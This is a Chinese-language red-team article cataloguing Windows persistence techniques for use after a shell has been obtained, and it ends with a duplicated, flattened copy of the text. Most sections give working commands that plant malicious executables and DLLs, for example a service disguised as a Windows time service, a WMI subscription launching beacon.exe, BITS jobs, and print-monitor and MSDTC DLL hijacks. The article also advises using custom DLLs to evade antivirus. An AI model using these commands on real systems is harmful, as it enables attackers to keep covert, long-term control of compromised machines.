Windows权限维持技术整理
字数 2544 2025-08-20 18:17:31

Windows权限维持技术详解

0x00 前言与场景

在红队行动中,获取shell后需要确保权限持久化。本文整理Windows环境下多种权限维持方法,适用于不同权限级别和场景。

0x01 Startup目录

权限要求:普通用户或管理员均可

方法

  • 将程序或快捷方式放入以下目录:
    • 当前用户:C:\Users\Username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
    • 所有用户:C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

特点:简单易用,但容易被发现

0x02 注册表自启动项

权限要求:普通用户或管理员均可

关键注册表项

  1. Load键
    HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\load

  2. Userinit键
    HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit

    • 可添加多个程序,如:userinit.exe,evil.exe
  3. Explorer\Run键

    • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
    • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
  4. RunServicesOnce键

    • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
    • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
  5. RunServices键

    • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
    • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
  6. RunOnce\Setup键

    • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\Setup
    • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce\Setup
  7. RunOnce键

    • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
    • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
  8. Run键

    • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
    • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

写入命令

reg add "XXXX" /v evil /t REG_SZ /d "[Absolute Path]\evil.exe"

0x03 服务持久化

权限要求:管理员权限(未降权)

方法1:直接创建服务

sc create evil binpath= "cmd.exe /k [Absolute Path]evil.exe" start= "auto" obj= "LocalSystem"

方法2:通过svchost加载DLL服务

32位系统

sc create TimeSync binPath= "C:\Windows\System32\svchost.exe -k netsvr" start= auto obj= LocalSystem
reg add HKLM\SYSTEM\CurrentControlSet\services\TimeSync\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Users\hunter\Desktop\localService32.dll" /f /reg:32
reg add HKLM\SYSTEM\CurrentControlSet\services\TimeSync /v Description /t REG_SZ /d "Windows Time Synchronization Service" /f /reg:32
reg add HKLM\SYSTEM\CurrentControlSet\services\TimeSync /v DisplayName /t REG_SZ /d "TimeSyncSrv" /f /reg:32
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v netsvr /t REG_MULTI_SZ /d TimeSync /f /reg:32
sc start TimeSync

64位系统注册32位服务

sc create TimeSync binPath= "C:\Windows\Syswow64\svchost.exe -k netsvr" start= auto obj= LocalSystem
[...其余命令与32位相同,但使用/reg:32...]

64位系统

[...与32位相同,但使用/reg:64...]

注意:不要覆盖已存在的Svchost键值

0x04 计划任务

权限要求:管理员或普通用户

基本命令

SCHTASKS /Create /RU SYSTEM /SC ONSTART /RL HIGHEST /TN \Microsoft\Windows\evil\eviltask /TR C:\Users\hunter\Desktop\evil.exe

特点

  • 可设置多种触发条件(登录、启动、空闲等)
  • 命令行功能有限,无法配置高级选项
  • 进程由taskeng.exe拉起

0x05 WMI事件订阅

权限要求:管理员权限

实现步骤

wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="evil", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 310"

wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="evilConsumer", ExecutablePath="C:\Users\hunter\Desktop\beacon.exe",CommandLineTemplate="C:\Users\hunter\Desktop\beacon.exe"

wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"evil\"", Consumer="CommandLineEventConsumer.Name=\"evilConsumer\""

特点:基于事件触发,隐蔽性较好

0x06 屏幕保护程序

权限要求:普通用户

注册表设置

reg add "hkcu\control panel\desktop" /v SCRNSAVE.EXE /d C:\Users\hunter\Desktop\beacon.exe /f
reg add "hkcu\control panel\desktop" /v ScreenSaveActive /d 1 /f
reg add "hkcu\control panel\desktop" /v ScreenSaverIsSecure /d 0 /f
reg add "hkcu\control panel\desktop" /v ScreenSaveTimeOut /d 60 /f

特点

  • 最短触发时间60秒
  • 由winlogon.exe拉起
  • 仅对当前用户有效

0x07 后台智能传输服务(BITS)

权限要求:管理员(可绕过UAC)

实现步骤

bitsadmin /create evil
bitsadmin /addfile evil "C:\Users\hunter\Desktop\beacon.exe" "C:\Users\hunter\Desktop\beacon.exe"
bitsadmin.exe /SetNotifyCmdLine evil "C:\Users\hunter\Desktop\beacon.exe" NUL
bitsadmin /Resume evil

特点

  • 任务默认持续90天
  • 由svchost.exe -k netsvcs拉起
  • 可绕过常见启动项检查工具

0x08 后台打印程序服务

权限要求:管理员权限

实现步骤

  1. 将恶意DLL放入C:\Windows\System32\
  2. 添加注册表项:
reg add "hklm\system\currentcontrolset\control\print\monitors\monitor" /v "Driver" /d "monitor.dll" /t REG_SZ

特点:DLL被加载到spoolsv.exe进程,隐蔽性强

0x09 Netsh Helper DLL

权限要求:管理员权限

实现步骤

netsh add helper [Absolute evil DLL path]
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v Pentestlab /t REG_SZ /d "cmd /c C:\Windows\System32\netsh"

特点:DLL被netsh加载,隐蔽性较强

0x0A AppCertDlls注册表项

权限要求:管理员权限

原理:当进程调用CreateProcess等API时,会加载该注册表项指定的DLL

注册表路径
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\AppCertDlls

特点:隐蔽性高,但需自定义DLL避免阻塞

0x0B MSDTC服务

权限要求:管理员权限

实现步骤

  1. 在System32下放置恶意oci.dll
  2. 设置服务自启:
sc qc msdtc
sc config msdtc start= auto

特点:DLL被加载到msdtc.exe进程,隐蔽性强

总结

  1. 用户层持久化需借助Windows自带功能实现隐蔽
  2. 不同方法适用于不同权限级别和场景
  3. 建议准备多种方法互为备份
  4. 实际应用中需自定义DLL实现免杀和稳定性

推荐组合

  • 普通用户:Startup目录 + 屏幕保护 + AppCertDlls
  • 管理员:服务 + WMI + BITS + 打印服务
Windows权限维持技术详解 0x00 前言与场景 在红队行动中,获取shell后需要确保权限持久化。本文整理Windows环境下多种权限维持方法,适用于不同权限级别和场景。 0x01 Startup目录 权限要求 :普通用户或管理员均可 方法 : 将程序或快捷方式放入以下目录: 当前用户: C:\Users\Username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup 所有用户: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp 特点 :简单易用,但容易被发现 0x02 注册表自启动项 权限要求 :普通用户或管理员均可 关键注册表项 : Load键 : HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\load Userinit键 : HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit 可添加多个程序,如: userinit.exe,evil.exe Explorer\Run键 : HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run RunServicesOnce键 : HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce RunServices键 : HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices RunOnce\Setup键 : HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\Setup HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce\Setup RunOnce键 : HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce Run键 : HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run 写入命令 : 0x03 服务持久化 权限要求 :管理员权限(未降权) 方法1:直接创建服务 方法2:通过svchost加载DLL服务 32位系统 : 64位系统注册32位服务 : 64位系统 : 注意 :不要覆盖已存在的Svchost键值 0x04 计划任务 权限要求 :管理员或普通用户 基本命令 : 特点 : 可设置多种触发条件(登录、启动、空闲等) 命令行功能有限,无法配置高级选项 进程由taskeng.exe拉起 0x05 WMI事件订阅 权限要求 :管理员权限 实现步骤 : 特点 :基于事件触发,隐蔽性较好 0x06 屏幕保护程序 权限要求 :普通用户 注册表设置 : 特点 : 最短触发时间60秒 由winlogon.exe拉起 仅对当前用户有效 0x07 后台智能传输服务(BITS) 权限要求 :管理员(可绕过UAC) 实现步骤 : 特点 : 任务默认持续90天 由svchost.exe -k netsvcs拉起 可绕过常见启动项检查工具 0x08 后台打印程序服务 权限要求 :管理员权限 实现步骤 : 将恶意DLL放入 C:\Windows\System32\ 添加注册表项: 特点 :DLL被加载到spoolsv.exe进程,隐蔽性强 0x09 Netsh Helper DLL 权限要求 :管理员权限 实现步骤 : 特点 :DLL被netsh加载,隐蔽性较强 0x0A AppCertDlls注册表项 权限要求 :管理员权限 原理 :当进程调用CreateProcess等API时,会加载该注册表项指定的DLL 注册表路径 : HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\AppCertDlls 特点 :隐蔽性高,但需自定义DLL避免阻塞 0x0B MSDTC服务 权限要求 :管理员权限 实现步骤 : 在System32下放置恶意oci.dll 设置服务自启: 特点 :DLL被加载到msdtc.exe进程,隐蔽性强 总结 用户层持久化需借助Windows自带功能实现隐蔽 不同方法适用于不同权限级别和场景 建议准备多种方法互为备份 实际应用中需自定义DLL实现免杀和稳定性 推荐组合 : 普通用户:Startup目录 + 屏幕保护 + AppCertDlls 管理员:服务 + WMI + BITS + 打印服务